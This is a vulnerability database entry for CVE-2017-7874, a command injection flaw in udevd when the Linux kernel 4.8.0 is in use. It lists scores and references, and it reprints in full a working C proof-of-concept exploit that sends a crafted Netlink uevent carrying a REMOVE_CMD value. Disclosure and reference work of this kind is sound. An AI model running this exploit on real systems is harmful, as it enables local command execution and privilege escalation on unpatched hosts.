Linux Kernel 4.8.0 udevd 50-udev-default.rules command injection

| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 5.0 | $0-$5k | 0.00 |
Summary
A vulnerability marked as problematic has been reported in Linux Kernel 4.8.0. Affected is an unknown function in the library /lib/udev/rules.d/50-udev-default.rules of the component udevd. This manipulation causes command injection. This vulnerability is handled as CVE-2017-7874. It is possible to launch the attack on the local host. Additionally, an exploit exists.
Details
A vulnerability classified as problematic was found in Linux Kernel 4.8.0 (Operating System). Affected by this vulnerability is an unknown code in the library /lib/udev/rules.d/50-udev-default.rules of the component udevd. The manipulation with an unknown input leads to a command injection vulnerability. The CWE definition for the vulnerability is CWE-77. The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability. The summary by CVE is:
udevd in udev 232, when the Linux kernel 4.8.0 is used, does not properly verify the source of a Netlink message, which allows local users to execute arbitrary commands by leveraging access to the NETLINK_KOBJECT_UEVENT family, and the presence of the /lib/udev/rules.d/50-udev-default.rules file, to provide a crafted REMOVE_CMD value.
The bug was discovered 04/15/2017. The weakness was released 04/15/2017 (Website). The advisory is shared at exploit-db.com. This vulnerability is known as CVE-2017-7874 since 04/14/2017. An attack has to be approached locally. A single authentication is needed for exploitation. Technical details and also a public exploit are known. MITRE ATT&CK project uses the attack technique T1202 for this issue.
A public exploit has been developed by Nassim Asrir in ANSI C and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The code used by the exploit is:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
int
main(int argc, char **argv)
{
int sock;
char *mp;
char message[4096];
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));
mp = message;
mp += sprintf(mp, "a@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/etc/passwd") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
sendmsg(sock, &msg, 0);
close(sock);
return 0;
}There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
The vulnerability is also documented in the databases at Exploit-DB (41886) and SecurityFocus (BID 97679†). If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Product
Type
Vendor
Name
Version
License
Website
- Vendor: https://www.kernel.org/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 5.0
VulDB Base Score: 5.3
VulDB Temp Score: 5.0
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Command injectionCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Physical: Partially
Local: Yes
Remote: No
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Nassim Asrir
Programming Language: 🔍
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Exploit-DB: 🔍
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
04/14/2017 🔍04/15/2017 🔍
04/15/2017 🔍
04/15/2017 🔍
04/15/2017 🔍
04/15/2017 🔍
04/16/2017 🔍
12/27/2024 🔍
Sources
Vendor: kernel.orgAdvisory: 142152
Status: Confirmed
CVE: CVE-2017-7874 (🔍)
GCVE (CVE): GCVE-0-2017-7874
GCVE (VulDB): GCVE-100-99901
SecurityFocus: 97679 - Linux Kernel CVE-2017-7874 Local Privilege Escalation Vulnerability
OSVDB: - Linux Kernel udev command execution
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 04/16/2017 10:46Updated: 12/27/2024 09:32
Changes: 04/16/2017 10:46 (52), 09/17/2020 18:46 (5), 11/29/2022 14:32 (2), 12/27/2024 09:32 (14)
Complete: 🔍
Cache ID: 216::103
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
No comments yet. Languages: en.
Please log in to comment.